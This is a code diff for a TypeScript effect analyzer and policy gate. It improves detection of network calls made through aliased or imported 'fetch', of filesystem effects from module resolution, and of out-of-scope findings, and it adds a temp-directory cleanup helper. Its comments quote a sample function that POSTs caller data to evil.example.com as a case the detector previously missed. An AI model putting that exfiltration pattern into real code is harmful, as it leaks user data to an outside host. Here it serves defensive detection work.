  // symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
4983
5116
  if (ts.isCallExpression(node)) {
4984
- const callee = node.expression;
5117
+ // …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
5118
+ //
5119
+ // Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
5120
+ // `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
5121
+ //
5122
+ // export async function exfil(data: string) {
5123
+ // const send = fetch;
5124
+ // await send("https://evil.example.com/collect", { method: "POST", body: data });
5125
+ // }
5126
+ // deny Net → exit 0, `policy ✓`, 0 effectful functions MEASURED on published 0.29.0
5127
+ //
5128
+ // A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
5129
+ // spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
5130
+ // was added beside the bare identifier. Fixing the instance and not the class is what left this one.
5131
+ //
5132
+ // Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
5133
+ // destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
5134
+ // are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
5135
+ // aliased form already; this was ts alone.
5136
+ //
5137
+ // SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
5138
+ // unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
5139
+ // declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
5140
+ // 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
5141
+ // computed value, so nothing here follows a function call or a conditional into a wrong answer.
5142
+ const un = unaliasGlobal(node.expression);
5143
+ const callee = un.node;
4985
5144
  const ctext = callee.getText().replace(/\s+/g, "");
4986
5145
  let geff = null;
4987
5146
  // The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
@@ -5005,15 +5164,70 @@ function visitCalls(node) {
5005
5164
  else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
5006
5165
  geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
5007
5166
 
5008
- else if (ts.isIdentifier(callee) && callee.text === "fetch"
5009
- && !(checker.getSymbolAtLocation(callee)?.declarations ?? [])
5010
- .some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))))
5167
+ // …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
5168
+ //
5169
+ // The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
5170
+ // fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
5171
+ // the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
5172
+ // and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
5173
+ //
5174
+ // MEASURED, and the shape is a MONOTONICITY VIOLATION:
5175
+ // without node_modules → `exfil` reports Unknown (honest — the import did not resolve)
5176
+ // WITH node_modules → `exfil` reports NOTHING, pure (silent)
5177
+ // Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
5178
+ // `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
5179
+ // Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
5180
+ // reported `['Fs']` alone with its 474 packages installed.
5181
+ //
5182
+ // Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
5183
+ // and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
5184
+ // where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
5185
+ // and still charges nothing.
5186
+ else if (ts.isIdentifier(callee) && (() => {
5187
+ const sym0 = checker.getSymbolAtLocation(callee);
5188
+ if (!sym0) return false;
5189
+ // WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
5190
+ // import is the project's own module by definition; a BARE specifier is a package. Keying on
5191
+ // `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
5192
+ // sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
5193
+ // specifier is the same thing κ classifies on, and it does not move with the scan's shape.
5194
+ for (const d of sym0.declarations ?? []) {
5195
+ const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
5196
+ : ts.isImportClause(d) ? d.parent
5197
+ : ts.isNamespaceImport(d) ? d.parent?.parent : null;
5198
+ const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
5199
+ if (spec && ts.isStringLiteralLike(spec)) {
5200
+ if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false; // the project's own
5201
+ let t = sym0;
5202
+ if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
5203
+ if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
5204
+ // …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
5205
+ // `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
5206
+ // pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
5207
+ // a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
5208
+ // Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
5209
+ // lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
5210
+ // absent. When no signature resolves at all, this returns false and the call falls through to
5211
+ // the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
5212
+ const rt = checker.getTypeAtLocation(callee);
5213
+ for (const sg of (rt?.getCallSignatures?.() ?? [])) {
5214
+ if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
5215
+ }
5216
+ return false;
5217
+ }
5218
+ }
5219
+ // Not an import at all: the ambient global, unless the project declares its own.
5220
+ if (callee.text !== "fetch") return false;
5221
+ return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
5222
+ })())
5011
5223
  geff = "Net";
5012
5224
  // the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
5013
5225
  // PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
5014
5226
  // `eval` global-qualifier handling (a runtime global a project would not shadow).
5015
5227
  else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
5016
5228
  geff = "Net";
5229
+ // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
5230
+ if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
5017
5231
  if (geff) {
5018
5232
  const owner = enclosing(node);
5019
5233
  if (owner) {
@@ -5057,6 +5271,64 @@ function visitCalls(node) {
5057
5271
  const owner = enclosing(node);
5058
5272
  if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
5059
5273
  }
5274
+ // MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
5275
+ // `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
5276
+ // which discloses Unknown), but all three walk directories, read `package.json` files, and throw
5277
+ // MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
5278
+ //
5279
+ // Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
5280
+ // with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
5281
+ // hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
5282
+ // functions — so the instrument narrows the search, it does not decide.)
5283
+ //
5284
+ // INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
5285
+ // actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
5286
+ // fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
5287
+ // already takes for a runtime path, and the honest one for a call that reads unpredictable places.
5288
+ // Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
5289
+ {
5290
+ const ct2 = callee.getText().replace(/\s+/g, "");
5291
+ // SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
5292
+ // Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
5293
+ // DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
5294
+ // fabrication direction, in a rule whose sibling already carries the guard and says why: "a
5295
+ // project's own `require()` shadow never fabricates". Fixing an instance while its sibling
5296
+ // documents the class is this codebase's recurring failure, so the guard is reused verbatim.
5297
+ // RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
5298
+ // from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
5299
+ // calls node's own function "the project's", and the first cut of this guard duly dropped the real
5300
+ // `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
5301
+ const notProjectDeclared = (id) => {
5302
+ let sym = checker.getSymbolAtLocation(id);
5303
+ if (!sym) return true; // ambient global (node's `require`)
5304
+ if (sym.flags & ts.SymbolFlags.Alias) {
5305
+ try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
5306
+ }
5307
+ const decls = sym?.declarations ?? [];
5308
+ return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
5309
+ };
5310
+ const fromCreateRequire = (expr) => {
5311
+ if (!ts.isIdentifier(expr)) return false;
5312
+ const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
5313
+ if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
5314
+ if (!ts.isCallExpression(d.initializer)) return false;
5315
+ const ce = d.initializer.expression;
5316
+ // The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
5317
+ const nm = ts.isIdentifier(ce) ? ce.text
5318
+ : ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
5319
+ if (nm !== "createRequire") return false;
5320
+ return !ts.isIdentifier(ce) || notProjectDeclared(ce);
5321
+ };
5322
+ const modResolve = ct2 === "import.meta.resolve"
5323
+ || (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
5324
+ && ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
5325
+ || (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
5326
+ && fromCreateRequire(callee.expression));
5327
+ if (modResolve) {
5328
+ const owner = enclosing(node);
5329
+ if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
5330
+ }
5331
+ }
5060
5332
  // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
5061
5333
  // getters (the object-spread twin). Enumerate the sources' local getters.
5062
5334
  if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
@@ -6374,7 +6646,8 @@ for (const [name, rec] of fns) cg[name] = [...rec.edges].sort();
6374
6646
  const writeAtomic = (file, text) => writeSinkAtomic(file, text);
6375
6647
  // ── ⟨0.29⟩ THE PEEK ───────────────────────────────────────────────────────────────────────────────
6376
6648
  // Read the files this run deliberately did NOT judge, and say so when they hold an effect the policy
6377
- // DENIES. The verdict does not move: `outOfScope` is its own kind and never a violation, because a file
6649
+ // DENIES. ⟨0.30⟩ THE VERDICT DOES MOVE — see the exit site below: a non-empty block makes it
6650
+ // `ok:false, incomplete:true` at exit 2. It is still never a violation, because a file
6378
6651
  // the gate declined to judge must not decide an exit code.
6379
6652
  //
6380
6653
  // A CHILD `scan.mjs`, not a second analysis path. candor-rust buys this by recursing into `scan_one`;
@@ -6406,7 +6679,11 @@ let peekRead = false;
6406
6679
  const peekUnread = new Set();
6407
6680
  let peekUnattributed = false;
6408
6681
  if (policyPath && excludedFiles.length) {
6409
- let denied = new Set();
6682
+ // ⟨0.30⟩ HOISTED, because the matcher below needs it. It was a `const` inside the try, so the
6683
+ // evaluatePolicy call added in this rung threw ReferenceError straight into the "a peek that cannot
6684
+ // run must not fail the gate" catch — findings silently empty, gate green. The catch is right; a bug
6685
+ // hiding behind it is not, which is why the trigger below is now a POSITIVE test on the rules.
6686
+ let peekPolicy = null;
6410
6687
  try {
6411
6688
  const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
6412
6689
  // ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
@@ -6415,10 +6692,14 @@ if (policyPath && excludedFiles.length) {
6415
6692
  // parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
6416
6693
  // candor-java already withheld here; this engine, candor-rust and candor-swift did not.
6417
6694
  if (!fatalPolicyErrors(pol.errors).length) {
6418
- denied = new Set((pol.deny ?? []).flatMap((r) => r.effects ?? []));
6695
+ peekPolicy = pol;
6419
6696
  }
6420
6697
  } catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
6421
- if (denied.size) {
6698
+ // ⟨0.30⟩ THE TRIGGER IS "ARE THERE DENY RULES", not "is the flattened effect-name set non-empty". The
6699
+ // old test read the name set, and `pure` is a deny rule with an EMPTY effect list meaning "every effect
6700
+ // except Unknown" — so under the STRICTEST policy the set was empty, the peek never ran, and the tree
6701
+ // passed at exit 0 while the strictly weaker `deny Exec` exited 2 on the same files. MEASURED four-way.
6702
+ if ((peekPolicy?.deny ?? []).length) {
6422
6703
  outOfScopeFindings = [];
6423
6704
  const peekDir = fs.mkdtempSync(path.join(os.tmpdir(), "candor-ts-peek-"));
6424
6705
  try {
@@ -6449,8 +6730,62 @@ if (policyPath && excludedFiles.length) {
6449
6730
  // all of them claiming completeness.
6450
6731
  if (hit) peekUnread.add(hit.cls); else peekUnattributed = true;
6451
6732
  }
6733
+ // ⟨0.30⟩ THE PEEK ASKS THE GATE'S OWN MATCHER, not a flat set of effect NAMES. §6.2 already
6734
+ // requires it — "THE GATE AND THE DISCLOSURE MUST APPLY THE SAME RULE, AND SHOULD SHARE THE SAME
6735
+ // CODE" — and the name-set approximation was wrong in BOTH directions once ⟨0.30⟩ made this
6736
+ // verdict-bearing (both MEASURED four-way in review):
6737
+ //
6738
+ // OVER-CHARGE: `deny Net[known-partner]` denies only that destination class, but the name set
6739
+ // held bare "Net", so a peeked fn fetching an UNKNOWN host — which the rule does not deny —
6740
+ // turned the verdict red, while the identical code IN scope passed. Rule SCOPES were dropped the
6741
+ // same way: a layer-scoped `deny Exec server` fired on a test file the scope excludes.
6742
+ //
6743
+ // UNDER-REPORT: `pure` is a deny rule with an EMPTY effect list, meaning "every effect except
6744
+ // Unknown". Flattened, it contributed NOTHING, so the denied set was empty and the peek never
6745
+ // ran — the STRICTEST policy silently disarmed the rung while the strictly weaker `deny Exec`
6746
+ // exited 2 on the identical tree. A four-way false all-clear.
6747
+ //
6748
+ // Only the DENY rules are handed over: ⟨0.29⟩ bounds this block to "effects that policy DENIES",
6749
+ // and evaluating `allow`/`forbid`/`only` here would widen it past the bound that keeps it quiet.
6750
+ // ⟨0.30⟩ THE PROJECT'S OWN `net-partner` SET, not an empty one. The child scan runs over a temp
6751
+ // tsconfig and never sees the project's `.candor/config`, and this call passed `new Set()` on top of
6752
+ // that — so a `deny Net[known-partner]` peek asked "is this host a declared partner?" against a set
6753
+ // that was always empty. MEASURED both ways: a test file reaching a DECLARED partner answered exit 0
6754
+ // where the same code in scope exits 1 (a false all-clear), and `deny Net[unknown-host]` answered
6755
+ // exit 2 over that same declared partner where in scope it exits 0 (the mirror over-charge).
6756
+ // candor-rust never had this — its peek runs in-process and inherits the config.
6757
+ //
6758
+ // `netClasses` stays null so the resolver recomputes each entry's class from the `hosts` the child
6759
+ // DID capture, against these partners — the child's own `netClass` was computed partner-blind and
6760
+ // must not be trusted here.
6761
+ // ⟨0.30⟩ MATCH SCOPES AGAINST A PROJECT-RELATIVE QUALIFIER, not the child's. The child scan runs
6762
+ // under a temp-directory tsconfig, so its `fn` is derived from THAT root — an absolute dotted path.
6763
+ // Handing those to the matcher made a rule's SCOPE match segments of the checkout directory: on a
6764
+ // tree at `…/fresh/src/execa`, `deny Net src` armed the peek while binding nothing in scope, so the
6765
+ // verdict depended on where the repo happened to be cloned. CI checkouts live under names nobody
6766
+ // chose (Bitbucket uses `agent/build`), which makes that a verdict decided by infrastructure.
6767
+ //
6768
+ // The project-relative path is already known here — it is what this run disclosed as excluded — and
6769
+ // the finding below is already named from it. The MATCHER must see the same thing the FINDING does.
6770
+ const relQual = (f) => {
6771
+ const childLoc = (f.loc ?? "").split(":")[0] ?? "";
6772
+ const hit = excludedFiles.find((e) => childLoc.endsWith(e.path)
6773
+ || childLoc.endsWith(path.basename(e.path)));
6774
+ if (!hit) return f.fn;
6775
+ const stem = hit.path.replace(/\.[cm]?[jt]sx?$/, "").split(path.sep).join(".");
6776
+ const leaf = f.fn.split(".").pop() ?? f.fn;
6777
+ return `${stem}.${leaf}`;
6778
+ };
6779
+ const peekEntries = (doc.functions ?? []).map((f) => ({ ...f, fn: relQual(f) }));
6780
+ const peekViolations = evaluatePolicy({ ...peekPolicy, allow: [], forbid: [], only: [] },
6781
+ peekEntries, {}, new Map(), netPartners, null, null);
6782
+ const deniedByFn = new Map();
6783
+ for (const v of peekViolations) {
6784
+ if (!deniedByFn.has(v.fn)) deniedByFn.set(v.fn, new Set());
6785
+ for (const e of v.effects ?? []) deniedByFn.get(v.fn).add(e);
6786
+ }
6452
6787
  for (const f of doc.functions ?? []) {
6453
- const hits = (f.inferred ?? []).filter((e) => denied.has(e));
6788
+ const hits = [...(deniedByFn.get(relQual(f)) ?? [])].sort();
6454
6789
  if (!hits.length) continue;
6455
6790
  // NAME IT FROM THE PROJECT, NOT FROM THE CHILD'S TEMP ROOT. The child's tsconfig lives in a
6456
6791
  // temp directory, so it derives module qualifiers from THAT root and the fn came out as a
@@ -6465,7 +6800,9 @@ if (policyPath && excludedFiles.length) {
6465
6800
  outOfScopeFindings.push({
6466
6801
  fn: f.fn.split(".").pop() ?? f.fn, path: where, effects: hits, class: cls,
6467
6802
  reason: `OUTSIDE this scan's scope (${cls}) — the gate did NOT judge it. `
6468
- + "The effect is real; the verdict does not account for it.",
6803
+ + "candor's ANALYSIS of that file reaches this effect; the gate did not judge it, so "
6804
+ + "the verdict is INCOMPLETE rather than a pass. (An analysis result, not a claim about "
6805
+ + "what the code does at runtime — see the release notes' known over-charge.)",
6469
6806
  });
6470
6807
  }
6471
6808
  outOfScopeFindings.sort((a, b) => (a.path + a.fn).localeCompare(b.path + b.fn));
@@ -6489,7 +6826,7 @@ if (outOfScopeFindings) {
6489
6826
  if (f.path) console.error(` ${f.path}`);
6490
6827
  }
6491
6828
  if (outOfScopeFindings.length) {
6492
- console.error(" The verdict does not account for "
6829
+ console.error(" The verdict below is INCOMPLETE because of "
6493
6830
  + (outOfScopeFindings.length === 1 ? "it." : `these ${outOfScopeFindings.length}.`));
6494
6831
  }
6495
6832
  }
@@ -7084,7 +7421,14 @@ if (gateJsonPath) {
7084
7421
  // must NOT read green — those effects are invisible, so a `deny`/`pure` that "passes" over them is a
7085
7422
  // false-pure. `ok` requires BOTH no violation AND a complete analysis. `analyzed:{count}` (Gap 1) mirrors
7086
7423
  // the report envelope so a --gate-json consumer sees the scan's scope from the verdict alone.
7087
- const incomplete = unanalyzedUnits.length > 0;
7424
+ // ⟨0.30⟩ THE SECOND CAUSE OF INCOMPLETENESS — a peeked function performs an effect the policy DENIES.
7425
+ // ⟨0.29⟩ required the verdict NOT to move here, on the assumption the peek surfaces uncertainty a gate
7426
+ // may decline to act on. It does not: measured on published 0.29.1 the peek resolves a CONCRETE denied
7427
+ // effect and names the function (axios 37 × `performs Net`, exit 0, `policy ✓`). Reported through
7428
+ // `incomplete`, never through `violations`, because the gate did not JUDGE these units — see the exit
7429
+ // site below for why that makes the code 2 and not 1.
7430
+ const scopeIncomplete = Array.isArray(outOfScopeFindings) && outOfScopeFindings.length > 0;
7431
+ const incomplete = unanalyzedUnits.length > 0 || scopeIncomplete;
7088
7432
  const verdictObj = { spec: SPEC_VERSION, ok: gateViolations.length === 0 && !incomplete,
7089
7433
  analyzed: { count: fns.size } };
7090
7434
  // ⟨0.24⟩ the vocabulary file that moved the verdict, in the SAME position `gate --report` puts it, because
@@ -7116,8 +7460,14 @@ if (gateJsonPath) {
7116
7460
  // incomplete:true is honest — never a fabricated pass. OMITTED when complete (byte-compatible verdict).
7117
7461
  if (incomplete) {
7118
7462
  verdictObj.incomplete = true;
7119
- verdictObj.unanalyzed = unanalyzedUnits.map((u) => ({ path: u.path, reason: u.reason }));
7120
- }
7463
+ if (unanalyzedUnits.length)
7464
+ verdictObj.unanalyzed = unanalyzedUnits.map((u) => ({ path: u.path, reason: u.reason }));
7465
+ }
7466
+ // ⟨0.30⟩ …and WHICH functions made it incomplete, in the machine channel. The same array the report
7467
+ // carries, so `gate --report` re-emits it from the report and §3.1 byte-equality holds by construction —
7468
+ // this is the anchor the `net-partner` attempt lacked. Omitted when empty, so a clean verdict is
7469
+ // byte-identical to a pre-⟨0.30⟩ one.
7470
+ if (scopeIncomplete) verdictObj.outOfScope = outOfScopeFindings;
7121
7471
  // ⟨0.15 staged⟩ coverage ADVISORY (COVERAGE-DESIGN.md §3): when the κ ledger is non-empty, the
7122
7472
  // verdict discloses what the gate could NOT see — VERDICT-PRESERVING (the ⟨0.9⟩ provable-purity
7123
7473
  // auto-disclosure precedent exactly): ok/violations/exit are computed above and untouched here. A
@@ -7157,5 +7507,21 @@ if (gateConfigured && unanalyzedUnits.length) {
7157
7507
  console.error(`candor-ts: gate NOT certified — ${unanalyzedUnits.length} source file(s) could not be analyzed (see above); a gate cannot be green over unanalyzed code`);
7158
7508
  process.exit(2);
7159
7509
  }
7510
+ // ⟨0.30⟩ THE SCOPE HALF OF THE SAME POSTURE. `unanalyzed` above is "I opened this file and could not read
7511
+ // it"; this is "I never opened it, and when I looked afterwards it performed the effect you denied". Both
7512
+ // mean the same thing to a consumer — the gate could not see enough of this tree to certify it — so both
7513
+ // are exit 2.
7514
+ //
7515
+ // EXIT 2, NOT 1, DELIBERATELY: these functions are not in `violations` and not in `functions`, because the
7516
+ // gate did not judge them. Exit 1 would claim "I judged your code and it breaks the policy", which is
7517
+ // false in the other direction. Exit 2 says "I could not see enough to answer", which is what happened.
7518
+ // A real violation (exit 1, above) still dominates: certain beats unevaluable.
7519
+ if (gateConfigured && Array.isArray(outOfScopeFindings) && outOfScopeFindings.length) {
7520
+ const n = outOfScopeFindings.length;
7521
+ console.error(`candor-ts: gate NOT certified — ${n} function(s) OUTSIDE this scan's scope perform an `
7522
+ + `effect this policy denies (named above); the gate did not judge them, so the verdict is `
7523
+ + `incomplete rather than a pass`);
7524
+ process.exit(2);
7525
+ }
7160
7526
  if (policyPath !== null) console.error("candor-ts: policy ✓");
7161
7527
  if (baselinePath !== null && fs.existsSync(baselinePath)) console.error("candor-ts: baseline ✓"); // absent = inactive (noted above)
package/scratch.mjs ADDED
@@ -0,0 +1,58 @@
1
+ import fs from "node:fs";
2
+ import os from "node:os";
3
+ import path from "node:path";
4
+
5
+ // Scratch directories for the harnesses, removed when the run ends.
6
+ //
7
+ // WHY THIS EXISTS. Every harness here made fixture trees with a bare `fs.mkdtempSync` and removed none
8
+ // of them. Measured 2026-08-14: 46,919 `candor-*` directories in $TMPDIR, ~7,300 of them from test.mjs's
9
+ // `project()` alone, which mints one per fixture and is called ~1,300 times a run. It is not only
10
+ // untidy — it made a single `candor-swift privacy-manifest --verify` take 72 seconds, because listing
11
+ // the plist's ancestor meant listing all of $TMPDIR. The engine side of that was fixed in 2026-08-07;
12
+ // this is the side that keeps refilling the directory.
13
+ //
14
+ // KEPT ON FAILURE, DELIBERATELY. A failing assertion prints the path to its fixture tree, and deleting
15
+ // it on the way out would remove the evidence at exactly the moment someone needs it. `keepOnFailure()`
16
+ // lets a harness say "this run failed" and the trees survive, with a line saying where they are.
17
+ // Success is the common case and the one that accumulates.
18
+ //
19
+ // SIGINT/SIGTERM are handled because the killed-mid-run case was the obvious contributor — though 46,919
20
+ // is not all killed runs.
21
+ const made = [];
22
+ let keep = false;
23
+
24
+ export function scratch(prefix) {
25
+ const d = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
26
+ made.push(d);
27
+ return d;
28
+ }
29
+
30
+ /** Call before exiting when the run FAILED — the trees are evidence, so they stay. */
31
+ export function keepOnFailure() { keep = true; }
32
+
33
+ function sweep() {
34
+ if (keep) {
35
+ if (made.length) console.log(` (${made.length} fixture tree(s) kept for inspection under ${os.tmpdir()})`);
36
+ return;
37
+ }
38
+ for (const d of made) { try { fs.rmSync(d, { recursive: true, force: true }); } catch { /* best effort */ } }
39
+ made.length = 0;
40
+ }
41
+
42
+ process.on("exit", sweep);
43
+ // An uncaught throw still runs `exit` handlers — with `keep` false, so a harness that dies mid-assertion
44
+ // would sweep away the very trees whose paths the crash just printed. Treat any abnormal end as failure.
45
+ for (const ev of ["uncaughtException", "unhandledRejection"]) {
46
+ process.on(ev, (e) => { keepOnFailure(); console.error(e); process.exit(1); });
47
+ }
48
+ // A signal does NOT run `exit` handlers on its own, which is the killed-mid-run leak. Re-raise after
49
+ // sweeping so the exit status still reflects the signal rather than becoming a clean 0.
50
+ //
51
+ // `removeAllListeners` FIRST, and it is the whole trick: installing a listener REPLACES Node's default
52
+ // disposition for that signal, so `process.kill(process.pid, sig)` re-enters this same handler. The
53
+ // first version of this shipped without it and made the harness unkillable — Ctrl-C swept, re-signalled,
54
+ // swept, forever, and a second Ctrl-C did not help either. Removing the listener restores the default,
55
+ // so the re-raise terminates with the right status.
56
+ for (const sig of ["SIGINT", "SIGTERM", "SIGHUP"]) {
57
+ process.on(sig, () => { sweep(); process.removeAllListeners(sig); process.kill(process.pid, sig); });
58
+ }